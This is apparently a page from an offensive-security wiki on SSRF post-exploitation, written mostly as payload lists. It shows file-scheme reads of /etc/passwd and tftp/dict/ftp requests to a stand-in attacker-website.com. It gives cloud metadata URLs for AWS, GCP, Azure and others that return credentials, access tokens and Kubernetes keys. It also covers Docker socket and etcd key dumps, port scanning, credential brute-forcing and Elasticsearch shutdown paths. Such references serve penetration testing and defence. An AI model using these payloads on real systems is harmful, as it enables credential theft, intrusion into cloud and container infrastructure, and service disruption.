Post Exploitation

Abuse of URL schemes

Accessing local files

You can use the file scheme to fetch the content of a file on the server:

file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd

Crafting TCP packets

You can use the ldap, git, or dict URL schemes to create cleartext connections to TCP-based services.

$ curl -v dict://127.0.0.1:1337/HELLO
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
$ nc -l -v 1337
CLIENT libcurl 7.64.1
HELLO
QUIT

Crafting UDP packets

You can send almost arbitrary UDP packets by using TFTP protocol.

tftp://attacker-website.com:1337/TESTUDPPACKET
$ nc -l -v -u 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout6

This can be used to craft request to various UDP-services, like Memcached.

Java directory listing

Java lists directories via a file:// scheme, the following code will print a directory listing:

URL url = new URL("file:///etc/");
String data = new String(IOUtils.toByteArray(url));
System.out.println(data);

References:

Leaking internal domains

When connected to SMTP, internal domains might leak from the first line. To do this, connect to http://127.0.0.1:25 or some internal IP address http://10.0.0.6:25 with SMTP available and from the first line get the internal domain name: 220 subdomain.internal-host.com ESMTP Sendmail

TLS fields injection

TLS allows you to smuggle arbitrary data inside fields such as Server Name Indication or Session ID. You can use this to deliver payload to http/text-based services.

References:

Retrieving protocol versions

You can enumerate versions of the different protocols by sending a request to your server.

ftp://attacker-website.com
sftp://attacker-website.com:1337
dict://attacker-website.com:1337
$ nc -v -l 1337
Connection from [12.234.12.234] port 1337 [tcp/*] accepted (family 2, sport 31337)
SSH-2.0-libssh2_0.1.2

Abusing Gopher

Gopher is a communications protocol designed for distributing, searching, and retrieving documents. Gopher provides a wide range of abuse options, see more.

Abuse of cloud metadata

Amazon Web Services

No header required

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.170.2/v2/metadata
http://169.254.170.2/v2/stats
http://169.254.170.2/v2/credentials/

References:

Google Cloud

Requires the header Metadata-Flavor: Google or X-Google-Metadata-Request: True on API v1 v1beta1 server and v0.1 metadata server endpoints were deprecated on September 30, 2020

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Google allows recursive pulls 
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=json
# SSH public keys
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys?alt=json
# Access token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Kubernetes keys
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env?alt=json

References:

Microsoft Azure

Requires the header Metadata: true

http://169.254.169.254/metadata/instance
http://169.254.169.254/metadata/instance?api-version=2018-10-01
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2018-10-01&format=text
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

DigitalOcean

No header required

http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Packet Cloud

No header required

https://metadata.packet.net/metadata

Alibaba Cloud

No header required

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

OpenStack

No header required

http://169.254.169.254/openstack
http://169.254.169.254/openstack/2018-08-27/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json
http://169.254.169.254/openstack/2018-08-27/user_data
# EC2-compatible metadata
http://169.254.169.254/2009-04-04/meta-data/
http://169.254.169.254/2009-04-04/meta-data/public-keys/
http://169.254.169.254/2009-04-04/meta-data/public-keys/0/openssh-key

Oracle Cloud

No header required

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

http://169.254.169.254/opc/v1/instance/

Docker

Docker Engine API is commonly available on ports 2375 and 2376 (tls). You can use the following paths to verify Docker Engine API presence:

/v1.40/info
/v1.40/containers/json
/v1.40/secrets
/v1.40/services
# Using the API without a version-prefix is deprecated and will be removed in a future release
/containers/json
/secrets
/services

A simple example of interacting with dockerd (also see: Daemon socket option):

$ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Docker registry

Docker registry is commonly available on port 5000. Docker registry can gain access to either read sensitive information stored in container images and/or modify stored container images.

For enumerating repositiories/images pay attention to the following tools:

  • reg - Docker registry v2 command line client and repo listing generator with security checks

  • regclient - Docker and OCI Registry Client in Go and tooling using those libraries

  • go-pillage-registries - Pentester-focused Docker registry tool to enumerate and pull images

Kubernetes

# Debug Services https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
# https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics

Kubernetes etcd API can contain API keys, internal IPs and ports:

$ curl -L http://127.0.0.1:2379/version
$ curl http://127.0.0.1:2379/v2/keys/?recursive=true

kubelet

The kubelet commonly available on the default port 10250.

kubelet read-only

The kubelet read-only commonly available on the default port 10255. This port is generally only seen on older clusters, but can provide some useful information disclosure if present. It is an HTTP API which will have no encryption and no authentication requirements on it, so it is easy to interact with.

The most useful endpoint is /pods/:

$ curl http://[IP]:10255/pods/ | jq

Abusing FTP

Credentials bruteforce

SSRF allows you to bruteforce credentials for resources that use Basic access authentication as an authentication mechanism. To do this, just use the following link:

http://login:password@target-website.com/path/

Enumerating internal resources using anomaly responses

Sometimes you can count on anomaly responses when using SSRF, if the response to the execution of the request is not available to you. To do this, you need to access internal resources and measure the response time for each request. Response time is an indirect sign that may indicate the availability of a resource. Having sent a lot of requests, you need to search among them those for which the response time is different from all the others. This approach allows you to blindly bruteforce internal services, open ports, directories and files.

Port scanning

You can use the http scheme for port scanning:

http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379

Port scanning using DNS

Many libraries try to access the resource by IP in the order that they are placed in DNS records. For example, if the DNS records look like this:

site.com 172.16.1.1
site.com 172.16.1.2

first there will be an attempted connect to 172.16.1.1, and if problems arise, to 172.16.1.2. This allows you to find out which ports are open and which are not.

For this you can also use the service http://1u.ms. For example, if you need to find available ports on 127.0.0.1, you can use

make-127-0-0-1-and-123-123-123-123rr.1u.ms

this will allow you to change the port number to determine which port is available.

http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:22 - request did not come to 123.123.123.123:22
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:80 - request came to 123.123.123.123:80
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:6379 - request did not come to 123.123.123.123:6379
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:8080 - request came to 123.123.123.123:8080

This shows that ports 22 and 6379 are open on 127.0.0.1 because there were no connection attempts for the IP address from the second DNS record.

It is worth paying attention to what DNS server resolves names on the backend side. DNS server can use the built-in round robin algorithm for resolving domain names and change the order of records

ASP.NET

Try to read trace.axd, it keeps a log of all HTTP requests made to an application. This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.

Apache Druid

Apache Druid is commonly available on ports 80, 8080, 8888 and 8082. You can use the following paths to verify Apache Druid presence:

/status
/status/health
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Apache Solr

Apache Solr is commonly available on port 8983.

Apache Struts

Apache Struts is commonly available on ports 80, 443 (tls), 8080, 8443 (tls).

Apache Tomcat

Apache Tomcat is commonly available on ports 80, 443 (tls), 8080, 8443 (tls).

Consul by HashiCorp

Consul is commonly available on ports 8500 and 8501 (tls).

Elasticsearch

Elasticsearch is commonly available on port 9200. You can use the following paths to verify Elasticsearch presence:

/_cluster/health
/_cat/indices
/_cat/health

If you can send POST requests, you can try to shutdown the Elasticsearch instance by sending a POST request to the following path:

/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
# Removed from Elasticsearch version 2.x. and up
/_shutdown

Java RMI

Java RMI commonly available on ports 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999. SSRF vulnerabilities that allow arbitrary bytes can be used to perform deserialization or codebase attacks on the Java RMI default components.

JBoss

Jboss commonly available on ports 80, 443 (tls), 8080, 8443 (tls).

Jenkins

Jenkins commonly available on ports 80, 443 (tls), 8080, 8888.

Memcache

Memcache is commonly available on port 11211.

OpenTSDB

OpenTSDB commonly available on port 4242.

Oracle PeopleSoft

PeopleSoft is commonly available on ports 80 and 443 (tls).

Oracle WebLogic

WebLogic is commonly available on ports 80, 443 (tls) and 7001. You can try to exploit known vulnerabilities:

Redis

Redis commonly available on port 6379.

Remote debuggers

References

PreviousServer Side Request ForgeryNextSVG Abuse

Last updated